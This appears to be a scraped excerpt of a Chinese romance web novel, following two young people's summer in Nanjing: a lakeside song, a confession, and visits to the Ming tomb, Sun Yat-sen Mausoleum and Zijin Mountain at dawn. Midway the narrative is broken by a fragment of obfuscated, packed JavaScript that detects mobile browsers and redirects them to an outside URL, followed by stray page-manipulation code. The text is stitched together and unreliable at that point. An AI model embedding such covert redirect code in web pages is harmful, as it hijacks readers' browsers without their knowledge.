他身后是广阔沉寂的湖水,对岸高楼霓虹,在他映衬下都成迪士尼城堡了。 手指按上吉他弦的那一刻,江岁羽忽然想起了他和李炎的对话,兀自摇头有点想笑。笑自己。 …… “所以我不是已经告诉你了吗?不能。” 他这句话刚出口,李炎只是稍微怔了两秒,随即立刻哈哈大笑起来,上气不接下气地在沙发地扭成一只蛆,无法掌控身体似的蠕动着。 “江岁羽,你是在不爽吗?” “妈呀,原来试探你这么容易!哈哈哈哈哈哈哈哈!” “你让那些揣摩了你三年的人情何以堪呐?” “我懂了,想知道你喜不喜欢某个女生,得用这种方法,直接说我要向那女孩表白——” “哈哈哈哈哈直接气到自爆承认,没谁了。” 江岁羽:“……你可以闭嘴了。” “不啊,我怎么能闭嘴呢?我俩从小一起长大,我就是你肚子里的蛔虫。”李炎幸灾乐祸地输出道,“你对人家没感觉能问得出‘比我帅‘这么骚气的话?哎嘿,果然如此啊。我说,我也就离开不到半个月吧,你这都晋升成人家前男友了?可以啊你!” 江岁羽仰头靠在沙发上,盯着天花板发呆:“见了鬼的前男友。压根没在一起过。” “哦?那妹妹看不上你?不能吧。” 江岁羽一脸“这可能吗”的表情:“我们才认识几天?那点好感太浅薄了。” 李炎也一脸“你也有今天”的表情:“那怎么了?有好感就在一起试试呗。” 说得倒是轻松。 江岁羽问他:“这样有意思吗?谈没两天,就分手?” “分什么手?” “那不然搞网恋异地恋啊?” 李炎大概懂他意思了。 “你也考虑太远了吧?我祖先李白都说了,人生得意须尽欢,有了乐子就得及时享受。” “等上了大学,她认识了新的朋友,乐不思蜀之后,就只能念你祖先另一句‘相思相见知何日?此时此夜难为情’了。” “啧,江岁羽。”李炎满心唏嘘地戳穿,“你就是没信心。” “是,我是没。如果我只是想趁上大学前谈个快餐恋爱,那我当然可以把话说得很漂亮。毕竟在当今这个世界,漂亮话太多了,时间真的不算什么,半个月,够一对情侣遇见了谈了再分手了,反正大家都是这么干的,快餐快餐不就讲究一个快吗?我当然可以骗她说,没关系,网恋,异地恋,反正随便什么都行,先在一起,把什么都交给我。但我不想,我不想把恋爱当作是为了证明自己已经成为无趣大人的游戏。如果最后无论如何都要伤害到彼此,那我宁愿不开始,让她在此刻对大学的恋爱还能保留一点期待。至少,我说至少,至少不会失望。” 李炎也不闹了,他静静看了会儿眼前的好友,心想其实容易失望的是你吧,父母的结局多少还是影响了你对爱情的看法。 你吧,有信心这个人能谈上一辈子才会去追。说好听点你是太理想了,说难听点,你可真迂腐。 “哦。”李炎指了指客厅的挂钟,“善意”地提醒,“我看妹妹今晚不打算回来了,没准儿就跟那男大走了。你啊,洗洗睡吧。 “回家吧回家吧回家吧——” …… 灯光在地上摆了一圈,给小小的舞台点缀些许,显得有点浪漫。 江岁羽坐在高脚凳上,背上吉他,轻轻扫了一个和弦,沉闷的夏夜突然又变得熙攘起来。 “在距离城市很远的地方” “在我那沃野炊烟的故乡” 原来他唱歌的时候,声音这么少年。 灼热的风在晚间多了丝惬意,一如江岁羽的歌声,湖岸边上吉他声阵阵。 慵懒唱出了浪漫,随着湖水的堆叠一阵阵地扑上人的心头。 “我曾和一个叫阿楚的姑娘” “彼此相依一起看月亮” 吉他拨弦有一瞬的暂停。 楚晞忽地抬头。 这歌词。 这歌词…… “风吻过的口红欲盖弥彰” “阿楚姑娘” 他也在望向她,一点不太明显的微微笑意。 楚晞不自觉发起了呆。 “时间的泪眼撕去我伪装” “你可记得我年少的模样” “温柔的晚风啊” “请你带走我的惆怅吧” “阿楚姑娘” 江岁羽歌声里的情感啊—— 沉郁,怅惘,纠结,洒脱,渴望,炙热。 这些如此矛盾的词语,竟然在此时此刻的氛围和他的嗓音里达成了一个共同体,完美融合在了一起。 楚晞感觉世界有一瞬间暂停了,好像什么画面都看不到,又好像什么都看得到。明明没喝酒,却觉得自己像醉了,似乎要溺死在这阵风声中。 「8.8晴 卷子写多了有点烦躁 遂停笔去吹风 看璀璨夜景 看湖面的斑驳倒影 看万家灯火一格一格 看月亮看路过的人 看夏天的热烈 看一切好好地生活 若是你问我对于未来的幻想是什么 我一定说是在玄武湖散步吹风和你闲聊」 楚晞看着他所做的打油诗,情不自禁感叹了。 太好太好的夏天了。 虽然很热,虽然很拥挤,但这个夏天的月亮很美,歌很好听,风也很温柔,而人,也很好很好。 这是她一生仅有一次的少年,和真正的夏天。 “今夜你会不会在远方” “燃篝火为我守望” …… 人群的尖叫起哄她没太注意。 她只看到江岁羽放下吉他,从人堆里走了出来,她呆在原地,动也不是,不动也不是。他朝她身侧,径直迈来。 而彼时她听到的,只有他立在她身前,笑了笑,然后问的那句。 “走不走,阿楚姑娘?” 9. 09钟山风景区 楚晞踩着江岁羽的影子,而且专踩脑袋。 什么嘛! 走了这么老半天,一句话都不说。 他什么意思啊? 南京城区内许多街道还保留着破旧的老式报刊亭,勾勒出一点旧时光的韵味。 外侧张贴着各种小广告,里侧什么都卖,汽水饮料、杂志报纸、游戏小卡……老板往桌上搁了一个小电风扇,双手交叠在脑后假寐,店外置了塑料凳供行人休憩。 江岁羽在报刊亭前立住,跟老板交涉买东西。 楚晞逛了一天,现下累了,趁这机会坐在塑料凳上支着脑袋四处逡巡。 一边是触手可及的人间烟火,一边是耸入云层的耀眼霓虹。来这么多天,她一直很好奇,这座城市究竟是怎样实现新旧交融的平衡的。 “在看什么?” 眼前忽然投落下阴影。 “江苏广播电视总台。”楚晞没动。 她挠了挠手臂说:“我以前特喜欢看江苏卫视《最强大脑》这个节目,觉得参赛者都好厉害,经常幻想自己以后变强可以报名去参加。” 但她越长大越不得不承认自己不过是个努力的平凡人,没有变得特别特别厉害,也经常被一个小小的挫折打得无还手之力。比如,此刻她就对江岁羽问不出口,他为什么来找她。 “嗯,知道了。”江岁羽静静看着她,“手伸出来。” “干吗?”问是这么问了,却还是不由自主地照着他的话做了。 “呲呲”短促的两声,伴随着液体雾化,细密地喷在她的手臂内侧,风一吹,清凉清凉的。 肿起来的蚊子包带给她的痒意也少了点。 独特的气味飘散在鼻尖。 原来,他刚去报刊亭买的是花露水。 楚晞忽然感到挺难过的。你看,无论他做什么,都不是因为别的什么令人遐想的原因,只是他本身就很好。 但这样,反而很讨厌。 什么花露水,什么阿楚姑娘。 你就一直冷冷淡淡的,我肯定很快就缓过来了。 “江岁羽。”她小声地喊。 他掀眼皮看她一眼:“嗯。” 楚晞:“我自己喷。” 她接过瓶子,胡乱地操作一通,给自己呛了两下。 “江岁羽。”她又喊。 还没等他再看过来,她心念着一鼓作气再而衰三而竭,直接说实话:“你知道的吧,我有点喜欢你。” 她这么说的时候,因为过于直球反而神态像是醉花露水。路灯如水般落下来,切割了半面脸的光晕,有些忽明忽暗。 江岁羽没看她。 他也偏头去瞧电视台。 “看过另一档节目么,”缓缓,他问,“《非诚勿扰》。” 楚晞迟疑地点头:“嗯,我妈喜欢看。” “托李炎的‘福’——就是那天来家里找我的那个男生,我被塞进去当过一回录制观众。” “……啊?”这可是求偶节目欸! “几个小时,真的够两个人了解对方,并确认彼此吗?我在现场只有这个念头。” 同理,几天,十几天, 她真的确定吗? 楚晞听明白了,但有点想反驳他。 她想说,若是认识很短时间内没好感,后面也很难再喜欢得起来,可能知道对方是个好人,但也很难做朋友或者发展更亲密的关系。与之相反,如果很快就心动,之后才有想要慢慢了解对方的想法啊。老一辈称这个叫眼缘,现在可能叫crush。 而我,我从来都不是个勇敢的人,只是觉得你很好而已。 话到嘴边,她又咕哝着改口:“其实我刚话没说完。虽然我是有点喜欢你……但也就是有点儿。你要是多跟我接触接触,没准儿发现了你的缺点,‘有点儿’就会变成‘不’。而此时此刻,我在你旁边,就要收回这个‘有点儿’,改成‘有丁点儿’。” 江岁羽嘴唇张开又闭上,闭上又张开。 他忽地笑了。 笑个der? “我想吃西瓜。”楚晞吸了吸鼻子,忽然转移话题并强调道,“无籽大西瓜。” 熙熙攘攘的十字街口有俩卡车拖车西瓜,小喇叭重复播放着多少钱一斤,围上去的路人挺多。 楚晞拍拍这个瓜,又拍拍那个,再放到耳朵旁听一听,还真有点儿像那么回事。 “会挑?” 楚晞诚实摇头:“不会。” “但是我不能被老板识破我很好骗这件事。”她理直气壮地愤愤说。 江岁羽默然无语了半晌,嘴角扯得弧度更明显了点,他声音低低地说:“我信了你是真好骗了。” …… 楚晞一边用勺子挖着中心瓜瓤,一边用手机看电影。 时间不算早了,可她却不是很想睡。 一方面是电影没看完,另一方面,她彼时就一整个很后悔自己的口无遮拦。 懊恼得几乎要抓狂了。 朋友也求助无门。 想死。 人,为什么偏偏要长了张嘴呢? “咚咚”,房门忽然被敲了两下。 楚晞装死没去开。 江岁羽跟她对峙片刻,最后单方面败下阵来,率先给了个台阶下,道既然你不方便,那就这么说吧。 楚晞想了想,最终还是扭扭捏捏地开了条细缝,蹦出一个问句:“什么事?” “也没什么。”江岁羽说,“如果你明天要去钟山风景区,得起早点,景区比较大,去晚了人多也挤。” 瞧瞧,又来了。 你又不去,还在这儿嘱咐来嘱咐去。 “哦,知道了。”楚晞揉了下半边耳朵说,“我很听劝的。” 她刚想合上房间门,以示自己坚决如铁的态度,正如那天他拒绝她的邀请时那样,哪里想到,江岁羽语不惊人死不休。 “明天我六点叫你。” 他嗓音其实蛮低的,犹如轻轨轧过产生的低鸣,但听进鼓膜却像渡轮汽笛的轰鸣。 “?”楚晞懵了。 “六点半之前明孝陵门票免费。” 他这个理由十分自然,但……跟他当人形闹钟有什么必然联系吗? 她懵上加懵。 江岁羽撑在门边的食指骨节轻敲了两下,垂着眼像在沉思:“我就是想看看。” “看看什么?” “看看如果我在你身边,现在是‘有丁点儿’,之后还会变成什么。” - 第二早,楚晞在六点之前一个激灵弹射惊醒。 打理好自己打开门,江岁羽已经淡然坐在餐桌上吃早饭了。 他往对面推了只碗,自然地朝她望过来:“喝粥?” 楚晞一个哈欠没打完,当场凝固,颌骨抽筋。 老老实实地咽着稀饭时,江岁羽在屋里走来走去整理东西。他难得背了个包,一脸淡定地揣了只相机,顺便问:“你还要带什么?” 她摇摇头:“你带相机干吗?” 江岁羽毫不客气地说:“怕你好骗,替你省点儿钱。” 楚晞:“???” …… 明孝陵是明朝开国皇帝朱元璋和马皇后的合葬墓,号称明清第一陵,世界文化遗产之一。 5号门是正大门,六点半前免费进。 过了这个时间点,成人票70,当然,学生半价。 走过四方城,进去即是“神道”。 六种动物石像,十二座,两跪两立矗在神道的两侧。六百多年,六百多米长。 早晨人少,第一缕阳光洒在古树上,淡淡的雾气中产生丁达尔效应。红墙上光影形成斑驳,一切都显得那么宁静而祥和。新鲜的空气让人精神为之一振,也给这座古老陵园增添了几分生机与活力。 “哇!这里竟还埋着孙权啊!”楚晞发出惊叹。 江岁羽给她科普解释:“朱元璋修陵的时候,偶然发现了孙权也葬在这儿,当时大臣都劝他迁了孙权的墓,不过他道英雄惜英雄,于是就让孙权给他守陵了。” 所以,这地儿到底有多少英雄人物长眠于钟山? “要不你去考个导游证吧。”楚晞嘟囔着,“不然有点儿可惜。” 江岁羽:“……” 文武方门,方城明楼,长生鹿苑,古老的建筑,精致的雕刻……这些都是摄影爱好者的心之所向,但江岁羽都不拍。 慢慢悠悠地逛着,两小时走完了。 楚晞问:“接下来怎么着?” 日头上来了,又热又闷,她开了瓶矿泉水,亦步亦趋跟着江岁羽出了明孝陵,没两分钟,眼前千百棵梧桐树耸立着,几近参天。 这里就是最美梧桐大道,陵园路。 梧桐树肆意疯长,粗壮的枝干笔直通向天际,足足有十几层楼那么高,它用其繁茂把城市纳在它的保护罩之下,枝叶连接交织出绿色的巨大穹顶。炽热的烈阳被层层过滤,只剩下细碎的影子。 于是燥热被隔绝了,只余丝丝缕缕的凉意,以及声声悠长的蝉鸣。 这条梧桐大道长得仿佛没有尽头,骑着车或是漫步的游客三三两两地穿梭其中,也给空境增添了几分浪漫。 一句梧桐美,种满南京城,有多少人是为了这一幕来的? 南京嘛,两个人一起逛才有意义。 这么想着,楚晞回头找江岁羽,他静静地立在栈桥下面,对着他的相机一阵捣鼓。 梧桐配少年,真好啊真好。 …… “姑娘,拍不拍照?可以试拍,不满意可以不要。” 有人悄然贴近,展示出手机上的照片。 是摄影师给其他游客拍的例图,经过美颜和滤镜的修饰,看上去极有氛围感。 很出片。 左右逡巡一圈,四处是约拍的摄影。 网络上分享的那些美照,大概也都出自于他们之手。 楚晞翻着手机里自己刚拍下的照片,有点儿郁闷。为什么她的镜头就还原不出这里的美貌呢? 颜色跟看不到的不仅不符,还相去甚远。高度也拍不出,那种树群绵延的震撼感也几乎没有。 “怎么收费的?”楚晞不自觉有些意动。 “20一张,都这个价。” 听着好像还好,但仔细一想,如果有好几张难以抉择的,都要收入囊中的话,那么随随便便就上百块了。 然而,彼时楚晞大概是被景色迷倒了,一时之间冲动上头,根本没想到那么多。 她正要说“行”,也顺带着往前走了几步,准备找个好位置拍,就听见背后有个声音低低地叫她。 干干净净的声音。 通感起来,有点儿像清晨布满水汽产生丁达尔光的梧桐道。 那声音喊的是—— “阿楚,回头。” …… “咔嚓”“咔嚓”相机响了数不清多少声。 这一刻也不知被记录了多少次。 一辆观光小火车静静地从道儿上缓缓驶过。很复古的款式,像是民国有的风格,通身棕黑色,点缀了点黄色。驶过的瞬间,就像童话里的小火车开入秘境。 它和楚晞擦肩而过时,江岁羽找准角度按下快门。 高耸入云的梧桐树、看不到尽头的林荫道、恰到好处的复古火车、霎时回眸的姑娘,一切都是那么的相得益彰。 江岁羽低头慢悠悠地翻阅前面拍的照片。事先调好参数的缘故,镜头里更接近肉眼看到颜色,绿丛丛一片。人像占据了中心,抓拍得好,表情都自然生动。几张照片连在一块速翻,像在看一小段视频。 她还蛮会抓镜头,也上镜,或者说是她的长相很有故事感,有让人探究的欲望。 不过实际上确实挺傻的。 …… “江岁羽!” 楚晞扬着笑脸快速地向他奔跑过去,在他身旁及时刹住。牙齿遂整整齐齐地迎上来,一双眼睛弯成了月牙状。 江岁羽把相机递出去:“你看看,不喜欢的按这个键删掉。” 哪里知道这姑娘完全没管照片拍得怎么样。 她整张脸毫无保留地贴近,仰着看他,瞳孔里亮晶晶的,似乎穿过成片梧桐树落下的光全在她的眼睛里面了。 与此同时,脑袋还极小幅度地晃了晃:“你刚叫我什么?” 江岁羽没吭声,垂着眼眸像在回想。 “江岁羽!”她开始催。 “嗯,楚晞。” “不是这个!!” 他说:“我忘了。” “你个骗子!” “我有叫你吗?”他也确实是个骗子,装得像模像样的,看起来像是真的不记得一样。 才怪,才怪。 他就是故意的。 楚晞心满意足地跑回去告诉那“20块一张”不用麻烦了,她已经找到了最好的摄影师。那样子,瞧着还怪有礼貌的。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717587|173788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然后,她再屁颠屁颠地跑回来:“江岁羽,我想坐那个小火车!” …… 观光小火车速度不算很快,燥热的风从耳边簌簌吹过,行人在外面的树下漫步。 太值得好好感受的一幕了。 楚晞闭上眼,探出头任由风在脸上不断地扫过。 几分钟,到达美龄宫。 美龄宫从空中俯瞰,犹如项链吊坠中的一颗宝石。树为链,宫为坠,爱一人。若是到了秋天,漫山梧桐树变黄变红,便更浪漫了。 它其实就是一座别墅,修建于民国时期,有“远东第一别墅”的美称,只听名字也知道它曾经的主人是谁。 人多了,呆这儿就有些闷。 逛完之后,他们很快前往下一个景点。 景区有提供共享小电驴,6块钱一小时。楚晞只会骑单车,还真没试过骑电动车,但她不信那个邪,非要在这个地方熟练掌握。 她小心翼翼地拧着车把,瑟瑟发抖地往前开。 没一会儿。 “江岁羽!你看我会骑小电驴了!!”楚晞嘿嘿笑着,也没顾忌周围嘈嘈切切的人声和虫鸣。 广阔,而自由的感觉,已经将她的感官全都掩埋了。 “我厉害吧?”她偏头问。 江岁羽呛了一口,无奈:“厉害,但你看着点儿路。” 哪里来的糟心小孩儿? …… 中山陵,顾名思义是孙中山先生的陵园。 穿过博爱坊,要走四百米种满雪松的墓道,如果感觉到累,那就对了,因为一路上坡。 从碑亭到祭堂,一共需要爬392级台阶。 392,代表中国当时的人口,三亿九千两百万;也代表三民主义九州华夏两个组织合作。 从下往上看,只见台阶不见平台;而从上往下看,只见平台不见台阶。很神奇,上是步步高升,下是一片坦途。 看着不高,但爬起来的确会累死人。尤其在炎炎烈日之下,毫无遮挡物,汗流浃背,抬头一看,还有一半没爬。 楚晞此刻就深深吸了一口气,发出绝望的叹息:“江岁羽,我感觉我灵魂出窍了。” 也不知是谁在下面信心满满、夸下海口说392级台阶不是小意思,分分钟就能上去。 脸颊忽地贴上了冰冰凉凉的物什,她不经颤了下。 江岁羽握着刚买的冰矿泉水瓶身,抵上她的颊边,因着形变,她被迫做出了“嘟嘴”的表情。 她看着他,对于他这突如其来的动作,有些发懵。 这一懵,就忘了反应,导致眼神看上去是水灵灵的无辜,她口齿不清地问:“你干吗?” 江岁羽看着她躬着身笑,笑着笑着还会微微向下歪头,眼睛微敛,有点散漫。 “行了,”他问,“你的脸面和我,总得丢一个。你选什么?” 楚晞迟疑:“如果我选我的脸?” 江岁羽无情地回应:“那你自己爬,我就不拉你了。” “那我还是丢脸吧。”楚晞立马改口,很狗腿地说,“我选你。” 江岁羽伸出手臂,本意是想让她攥住他手腕以便她使力,没想到她一点没客气,抬手就牵住了他。 他不可避免地愣了一下。 楚晞觉得他有点儿像块玉石。这么热的天儿,他的手心居然还是凉凉的,握着舒舒服服,让人忍不住就得寸进尺了。 “看我干什么?你不会也爬不动了?”她浑然未觉有什么不对。 江岁羽没发表什么意见,在她前头为她开路。他人高,阴影从她头顶笼罩下来,平白添了一丝凉快。 就在这种冷热交替之下,过了好一会儿,楚晞忽然恍然大悟什么。 手心好热,好像有汗。 完了,真完蛋。 她主动松开他,不自在地咳嗽两声,像在掩饰:“那什么,还有两阶到了。” 的确如此。 在祭堂怀着敬仰的心情走完一圈之后,两个人坐在392级台阶上稍作休息,双双沉默地俯视下方。 原来有这么高,原来绿荫成片看起来这么震撼,不远处城市高楼的轮廓模模糊糊、隐隐约约。有种盛世皆在脚下的感觉。 …… 最后一站是音乐台。 它在1993年正式建成。最显眼的就是那弧形的大照壁,起到扩音和聚音的效果,前方则是月牙水池,能够增加共振,增强音效。四周森林,也间接起到了传音的作用,是故,才叫音乐台。 草坪看台沿坡度往上,无论坐在第几排,声音都能清晰响彻在耳边。 楚晞坐在看台上,捧着脸自顾自地看熙攘人群、看水池喷泉,吹了会儿风。 要离开的时候,她倏地瞧见大照壁前站了两个人,一男一女。离得不算近,她只看到男生一袭西装,女生则是一身白裙。 “江岁羽!你看!”看热闹的心情此刻到达了顶峰,楚晞偏过头喊人,“是求婚欸!!” 四周人群纷纷掏出手机记录下这一时刻,江岁羽也抬头往那边看。 男生为女生披上白色头纱,单膝跪地,手持戒指盒。可能是太紧张了吧,不然哪有人傻不拉叽地会把盒子对着自己那边开的啊? 几十只白鸽在这对新人拥抱时,绕场纷飞,成群结队,仿佛也是在恭喜和祝贺。 “哇啊——”游客欢叫声不绝于耳。 不多时,白鸽又飞回栖息的照壁上。那对情侣弯腰致谢观众。 “哇噻,好浪漫啊,像在拍偶像剧。”楚晞难掩激动的心情。其实,看见别人哪怕是素不相识的人幸福,她也觉得很难能可贵。 “江岁羽。” “嗯。” “江岁羽?” “嗯?” “江岁羽!” “怎么了!” “非诚勿扰没有现实真实。”楚晞仍盯着那对退场的情人,缓缓开口,只像是有感而发。 江岁羽看着她的侧脸。 一天走下来,步数得有个几万了。难掩疲惫,她却仍然兴奋。 这种兴奋体现在她额间的汗滴上,体现在像有粼粼波光的眼瞳里,也体现在亲吻过她鼻尖的碎发上。 江岁羽想,人的确不能对自己认知之外的东西轻易下定论,包括情感。 他想他应该认同她。 非诚勿扰没有现实真实。 只此一刻的心动听起来虚幻, 却无法复制。 10. 10紫金山 去完钟山风景区,楚晞偃旗息鼓了一整天。几万步走下来,实在吃不消。 很快,6月24日即将来临。 夜晚,她躺在床上,发呆地望向天花板。她不敢看手机,班级群、年级群、学生私群、家长群,全都是查分相关的消息,翻哪个都是99+,紧张的氛围感渲染到极致,光看着都吓人。 她轻轻点亮屏幕一看,蹉跎了这么久,竟然也才过去十分钟。 [你睡了没?] 犹豫了好半晌,楚晞念无与为乐者,遂至微信跳过群聊消息寻江岁羽。 “江怀民”亦未寝。 江岁羽:[?] 江岁羽:[睡了。] 楚晞:[那现在是谁在跟我讲话?] 楚晞:[男鬼啊。] 江岁羽:[忘了开静音,现在醒了。] 她顿时有点不好意思。是她发的消息把他吵醒了,换位思考一下,她肯定会在心里小声抱怨。 楚晞:[那你继续睡。] 楚晞:[我继续数小羊。] 江岁羽:[你睡不着?] 这就说到楚晞的痛点上了。 楚晞:[我们省考试院就是不做人嘛!] 楚晞:[还有谁家深夜零点查分啊?] 楚晞:[让不让人睡了QAQ] 熬到零点才能查,不到那个点不能睡,查完了却没心情睡了,简直是生理和心理的双重折磨。 江岁羽往屏幕上面瞧了眼时间:[还有五分钟。] 楚晞:[我知道啊/崩溃.jpg] 楚晞:[但不敢查呜呜呜。] 她掌心都濡湿了,心七上八下跳得飞快,明明是躺着,腿脚却像失去了力气。她真的很紧张。 楚晞:[我有个问题。] 江岁羽:[什么?] 楚晞:[你知道有什么景点是可以凌晨去的吗?最好能消磨点时间,无暇顾忌分数的那种。哦对了,那地方信号可以差点,消息传不进来就更好了。] 还是明早再查吧呜呜呜。虽然这是一种逃避行为,但胜在对于当下的她来说有用啊。 对话框那头没动静了。 他又睡着了?还是认为很无语?凌晨把人叫醒出去玩,确实听起来有点儿不厚道。 可他不也写过“凌晨两点如果我说去颐和路散步吧,会觉得我是疯了,还是跟我走”这样的话吗,应该不会认为她有病吧? 楚晞忽然有点委屈,无法呼吸、胸闷无力,当下的四肢百骸沉重得如同泰山压顶。 纵有满腔百感交集,更与谁人说? 她没精打采地用手指敲着屏幕,还是忍住了想再打扰他的冲动。 忽地,微信上多了一条新消息。 江岁羽:[我换好衣服了。] 楚晞:[?] 不是,你—— 江岁羽:[你要多久?] 江岁羽:[什么时候出发?] 楚晞:[出发?去哪儿??] 江岁羽:[紫金山。] 楚晞:[???] 你情绪价值给得有点太足了。那感觉就像,如果我半夜三更心血来潮喊你去海边捡垃圾,你冷着脸一言不发,却还是翻出垃圾袋,说走吧,捡完了我们顺便在海边看日出。 浪漫疯子的具象化。 太犯规了,江岁羽。 你这样我以后上哪儿去找比你还懂我的人啊。 …… 紫金山,古称金陵山,汉称中山,东晋晋元帝在这儿看到山顶盘旋这紫金色的云彩,故名紫金山。 “花露水,外套,手电筒,纸巾……”楚晞念念叨叨地问,“江岁羽,你说要不要带个拐棍?嗯,要不再带点零食?对了对了,野餐垫呢?” “你当我们小学生秋游?”他一票否决,并还面无表情地问,“你要不要再带个九齿钉耙?” 楚晞干笑一声:“这有什么用处?” 江岁羽随意靠在墙边,瞥了一眼挂钟没太好气地说:“你遇上二师兄的概率,比用到野餐垫的概率大。” 楚晞:“……?” 什么玩意儿,二师兄? 登山路线少说十几条,他们选的是从蒋王庙出发,爬得最快但路也最陡,保证绝对没精力想其他有的没的。 事实上,没等他们骑车到达蒋王庙,就已经在半途遇到野猪了。 是的,没错,凌晨一点,南京市区,几只野猪迈着优雅的步伐在斑马线上过马路。 风声断断续续地灌入耳朵,吹得人脑门发凉。 “我觉得我可能是在做梦。”楚晞在摩托车后座,探出脑袋好奇地看这神奇的一幕,咬了咬舌尖道,“它们会不会向我们冲过来啊?” 江岁羽似有所感,脊背屈了屈,笑了一声:“你害怕?” “没有。”楚晞摇了摇头,做完动作才发现他没回头看不见。须臾,她揪了揪他的衣摆,还是承认了,“……好吧,有点。” “不用担心。它们只是好奇心有些重,只要不惊扰,它们看你几秒之后就会不感兴趣了。” 的确如此,野猪们很快就窜远了。 “它们去哪儿?” “不知道,可能是去横渡长江。” 楚晞后知后觉:“你好像很有经验的样子。” 他难得开了个玩笑:“我们都是左手牵鸭子,右手栓野猪上路的。” 楚晞:“??” 机车很快发动,风声从耳边簌簌而过,她不自觉攥着他的衣角更紧了,另一只手腾出来轻捶了江岁羽一下:“你搞什么抽象啊?” “哦,不能这么讲。那一般都是骑着的,就像四川人骑大熊猫。你如果太胖呢,野猪驼不动,只能牵着了。” “噗嗤——”楚晞忍不住笑喷了出来。 机车速度很快。黑夜如潮水一般袭来,只有路边的灯盏流光溢彩。 这一刻,却不孤独,也没有被遗忘的错觉。 风声,笑声,夏夜的虫鸣声,熙熙攘攘。 …… 蒋王庙入口处有提示牌【前方野猪出没区域】 这条上山路上全是人,都是来夜爬的。其中大学生占据了主力军,在这儿上四年学如果没来过紫金山,那大学生生活一定是不完整的。 楚晞已经跟这帮子人聊上了。 “别报我们学校,千万别来,食堂巨难吃——” “别学会计!妹妹求你了,别学会计!” “千万别指望大学能谈到什么甜甜的恋爱,大部分有对象的都是高中自带的!” 楚晞连连点头记下。 好像,大学也没有想象中那么令人期待。 “那是你男朋友吗?” 楚晞顺着对方抬下巴的方向望过去。江岁羽在后面不紧不慢地跟着,神情颇有些百无聊赖,着装的缘故,腿显得更长了,有些生人勿进那意思。 “……不是。”她花了点时间思忖了下他们之间的关系,忽然发现,好像什么也不是。 不是恋人。 说是朋友吧,但偏偏从没对彼此敞开过心扉。大家不都说吗,两个人成为朋友,是要从有共同的秘密开始的。 兜兜转转,好像也只能用“合租室友”概括了。 “那你得抓紧咯,大学里没这么帅的。” 楚晞“唰”一下闭上嘴,支支吾吾说不出话来。还好是黑夜,脸红看不太出来。 登顶之后,还是黑夜。 紫金山有观景台,可以俯瞰整座南京城。 无数亮点在黑夜里绵延,高楼大厦灯火辉煌,紫峰大厦在其中尤为显眼,玄武湖将宁静和祥和诠释得淋漓尽致。 脚下是绵延千里的灯火,是锦绣山河、国泰民安。 山风习习,楚晞拢了拢外套,一扭头找人,刚理好的发型被吹了个乱糟糟。 “江岁羽,真的好漂亮啊!” 她仰着看他,瞳孔里亮晶晶的,似乎满载整片天的星海。江岁羽不由地后仰了下,然后转过头,喉间溢出一声闷笑。 楚晞拨了拨头发,紧接着就看到他黑漆漆的发旋和脸部明晰的棱角。 “坐吧。”他把包给她垫着。 “你也坐。” 这么小的空间,两人就必须得靠近。楚晞微微挪了挪,远又远不得,近又近不得。鼻息间,全是另一个人的气息。 动弹不得。 她抱着膝,扭头,避开眼神交汇。 …… 城区的霓虹灯全部灭停,天空颜色开始分层,纯黑渐变出深蓝,深蓝中孕育出点点微橘光亮。 “你知道我的名字是什么含义吗?”她盯着那点橘问。 蒹葭萋萋,白露未晞。 晞有干燥的意思。当然,在这里应该不是指这个。 江岁羽很给面子地配合说:“不知道,是什么?” “晞:天地破晓,欲见天明。”楚晞深呼吸一口新鲜的空气,仿佛这里面都带上了别样的气味,“我妈说生我的时候闹腾了一夜,终于在日出那刻‘卸货’,她可高兴了,于是一定要给我取个有纪念意义的名字。当然,也是美好祝愿啦,希望我的人生一路明朗。” 江岁羽笑了笑:“很好的名字。” “你呢?” 江岁羽没有说话。 好一会儿,他才道:“我原来不叫这个,只不过那个字实在生僻,出生登记的时候出了差错,就变成现在这样。还真解释不出来有什么特别意义。” “那原来叫什么?” “岁羽组成一个字。” “翙(huì)?” “嗯。” “哇噻,凤凰于飞,翙翙其羽,亦集爰止。是说夫妻幸福美满欸。”她感叹,“你父母一定很爱你。” 江岁羽出神了,不一会儿他语气淡淡地说:“最早的时候,可能是吧?不过他们早就分开了,就像我名字预示的那样,一分两半。” 楚晞定定地望向他。 现下交换了他们的一个秘密,在她看来他们是朋友了。她却并没有感觉到多开心。 远处颜色开始分层,纯黑渐变出微橘光亮,再慢慢成橘子海。 红色的光晕中跳出一颗黄澄澄的太阳,一刹那出现在人们的视野中,普照霞光。 没几分钟,就升至半空,照耀着整座南京城。 太有生命力的瞬间了。 “……其实江岁羽也是有意义的。”楚晞忽然出声。 “嗯?” “江岁羽,jsy,及时雨。”她指了指自己,“‘晞’也可以是‘晒干’,干了自然就需要水分。我想想,出太阳的时候下雨——” “江岁羽,你是一场及时的太阳雨。” 他先是唇角弯了一个弧度,紧接着是眼睛撇过去,让人摸不准他是什么神态。 再然后,偏着的头都往下垂了几分。 最终终于忍不住,彻底偏开头在笑,连脖颈都笑到在颤抖。 “亏你想出这样的解释。” “牵强吗?” 他侧脸微垂,山顶的风将他的刘海吹出了松软的形状,发顶被渐渐渲开的朝霞衬出鲜艳的闪亮。 楚晞说不出话,只觉得心头莫名悸动一下。 真是糟糕。 恐怕“有丁点儿心动”的“有丁点儿”,现在已经变成了“很”“十分”“非常”。 “谢谢。”他答非所问地说。 …… “我要查分了。”手机仅存5%的电量,但信号出奇得好,竟然只差一格满。 楚晞开了一晚上静音,如今终于决定直面十八岁的这道坎儿。也挺少见的吧?她可能是为数不多在山上查分的。 点进考试院的app,再输入保存好的准考证号……她又怂了。 这会儿肯定过了高峰期,不会有多卡,一进去保准丝滑地瞧到结果。 怂。 怂透了。 “你帮我点吧,求你了。”楚晞把手机塞给江岁羽,立马捂上眼睛,就一副耍赖的样子。 “确定?”江岁羽不以为意。 “确定,以及肯定。”楚晞捂眼的手指间撕开一条缝,眼珠子可怜兮兮地提溜转,“低于六百五的话,别告诉我了,你就当个哑巴。” 